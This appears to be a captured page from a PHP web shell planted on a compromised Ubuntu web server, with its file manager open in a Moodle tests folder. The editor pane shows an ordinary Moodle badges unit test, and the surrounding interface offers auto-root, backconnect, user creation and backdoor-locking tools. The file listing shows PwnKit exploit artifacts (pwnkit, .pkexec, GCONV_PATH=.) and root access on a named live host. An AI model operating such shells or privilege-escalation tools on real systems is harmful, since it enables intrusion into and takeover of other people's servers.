Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
badges /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
behat
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
badgeslib_test.php
7.32
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : badgeslib_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Unit tests for badges * * @package core * @subpackage badges * @copyright 2013 onwards Totara Learning Solutions Ltd {@link http://www.totaralms.com/} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @author Yuliya Bozhko <yuliya.bozhko@totaralms.com> */ defined('MOODLE_INTERNAL') || die(); global $CFG; require_once($CFG->libdir . '/badgeslib.php'); class badges_testcase extends advanced_testcase { protected $badgeid; protected function setUp() { global $DB; $this->resetAfterTest(true); $user = $this->getDataGenerator()->create_user(); $fordb = new stdClass(); $fordb->id = null; $fordb->name = "Test badge"; $fordb->description = "Testing badges"; $fordb->timecreated = time(); $fordb->timemodified = time(); $fordb->usercreated = $user->id; $fordb->usermodified = $user->id; $fordb->image = 0; $fordb->issuername = "Test issuer"; $fordb->issuerurl = "http://issuer-url.domain.co.nz"; $fordb->expiredate = null; $fordb->expireperiod = null; $fordb->type = BADGE_TYPE_SITE; $fordb->courseid = null; $fordb->messagesubject = "Test message subject"; $fordb->message = "Test message body"; $fordb->attachment = 1; $fordb->notification = 0; $fordb->status = BADGE_STATUS_INACTIVE; $this->badgeid = $DB->insert_record('badge', $fordb, true); } public function test_create_badge() { $badge = new badge($this->badgeid); $this->assertInstanceOf('badge', $badge); $this->assertEquals($this->badgeid, $badge->id); } public function test_clone_badge() { $badge = new badge($this->badgeid); $newid = $badge->make_clone(); $cloned_badge = new badge($newid); $this->assertEquals($badge->image, $cloned_badge->image); $this->assertEquals($badge->description, $cloned_badge->description); $this->assertEquals($badge->issuercontact, $cloned_badge->issuercontact); $this->assertEquals($badge->issuername, $cloned_badge->issuername); $this->assertEquals($badge->issuerurl, $cloned_badge->issuerurl); $this->assertEquals($badge->expiredate, $cloned_badge->expiredate); $this->assertEquals($badge->expireperiod, $cloned_badge->expireperiod); $this->assertEquals($badge->type, $cloned_badge->type); $this->assertEquals($badge->courseid, $cloned_badge->courseid); $this->assertEquals($badge->message, $cloned_badge->message); $this->assertEquals($badge->messagesubject, $cloned_badge->messagesubject); $this->assertEquals($badge->attachment, $cloned_badge->attachment); $this->assertEquals($badge->notification, $cloned_badge->notification); } public function test_badge_status() { $badge = new badge($this->badgeid); $old_status = $badge->status; $badge->set_status(BADGE_STATUS_ACTIVE); $this->assertAttributeNotEquals($old_status, 'status', $badge); $this->assertAttributeEquals(BADGE_STATUS_ACTIVE, 'status', $badge); } public function test_delete_badge() { $badge = new badge($this->badgeid); $badge->delete(); // We don't actually delete badges. We archive them. $this->assertAttributeEquals(BADGE_STATUS_ARCHIVED, 'status', $badge); } public function test_create_badge_criteria() { $badge = new badge($this->badgeid); $criteria_overall = award_criteria::build(array('criteriatype' => BADGE_CRITERIA_TYPE_OVERALL, 'badgeid' => $badge->id)); $criteria_overall->save(array('agg' => BADGE_CRITERIA_AGGREGATION_ALL)); $this->assertCount(1, $badge->get_criteria()); $criteria_profile = award_criteria::build(array('criteriatype' => BADGE_CRITERIA_TYPE_PROFILE, 'badgeid' => $badge->id)); $params = array('agg' => BADGE_CRITERIA_AGGREGATION_ALL, 'field_address' => 'address'); $criteria_profile->save($params); $this->assertCount(2, $badge->get_criteria()); } public function test_delete_badge_criteria() { $criteria_overall = award_criteria::build(array('criteriatype' => BADGE_CRITERIA_TYPE_OVERALL, 'badgeid' => $this->badgeid)); $criteria_overall->save(array('agg' => BADGE_CRITERIA_AGGREGATION_ALL)); $badge = new badge($this->badgeid); $this->assertInstanceOf('award_criteria_overall', $badge->criteria[BADGE_CRITERIA_TYPE_OVERALL]); $badge->criteria[BADGE_CRITERIA_TYPE_OVERALL]->delete(); $this->assertEmpty($badge->get_criteria()); } public function test_badge_awards() { $badge = new badge($this->badgeid); $user1 = $this->getDataGenerator()->create_user(); $badge->issue($user1->id, true); $this->assertTrue($badge->is_issued($user1->id)); $user2 = $this->getDataGenerator()->create_user(); $badge->issue($user2->id, true); $this->assertTrue($badge->is_issued($user2->id)); $this->assertCount(2, $badge->get_awards()); } public function data_for_message_from_template() { return array( array( 'This is a message with no variables', array(), // no params 'This is a message with no variables' ), array( 'This is a message with %amissing% variables', array(), // no params 'This is a message with %amissing% variables' ), array( 'This is a message with %one% variable', array('one' => 'a single'), 'This is a message with a single variable' ), array( 'This is a message with %one% %two% %three% variables', array('one' => 'more', 'two' => 'than', 'three' => 'one'), 'This is a message with more than one variables' ), array( 'This is a message with %three% %two% %one%', array('one' => 'variables', 'two' => 'ordered', 'three' => 'randomly'), 'This is a message with randomly ordered variables' ), array( 'This is a message with %repeated% %one% %repeated% of variables', array('one' => 'and', 'repeated' => 'lots'), 'This is a message with lots and lots of variables' ), ); } /** * @dataProvider data_for_message_from_template */ public function test_badge_message_from_template($message, $params, $result) { $this->assertEquals(badge_message_from_template($message, $params), $result); } }
Close